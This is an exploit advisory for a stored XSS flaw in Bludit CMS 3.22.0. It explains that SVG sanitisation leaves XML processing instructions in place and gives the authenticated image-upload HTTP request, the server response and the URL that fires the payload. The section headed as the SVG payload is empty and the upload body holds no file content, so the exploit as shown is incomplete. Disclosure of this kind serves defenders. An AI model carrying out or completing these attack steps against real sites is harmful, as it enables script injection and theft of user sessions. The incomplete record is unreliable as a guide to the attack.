# Exploit Title: Bludit CMS - Stored XSS
# Date: 2026-07-30
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit/releases/tag/3.22.0
# Version: 3.22.0
# Tested on: Windows 10 x64
## Description:
sanitizeSVG() strips script/on* but does not remove XML processing instructions.
Uploading an SVG with XSLT (method=html) results in stored XSS
when the file is opened top-level as image/svg+xml.
## Payload (payload.svg):
## Upload request (Author + session):
POST /admin/ajax/upload-images HTTP/1.1
Host: 127.0.0.1
Cookie: BLUDIT-KEY=SESSION
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="tokenCSRF"
CSRF_TOKEN
------x
Content-Disposition: form-data; name="images[]"; filename="payload.svg"
Content-Type: image/svg+xml
------x--
## Response:
{"status":0,"message":"Images uploaded.","images":["payload.svg"]}
## Open:
http://127.0.0.1/bl-content/uploads/payload.svg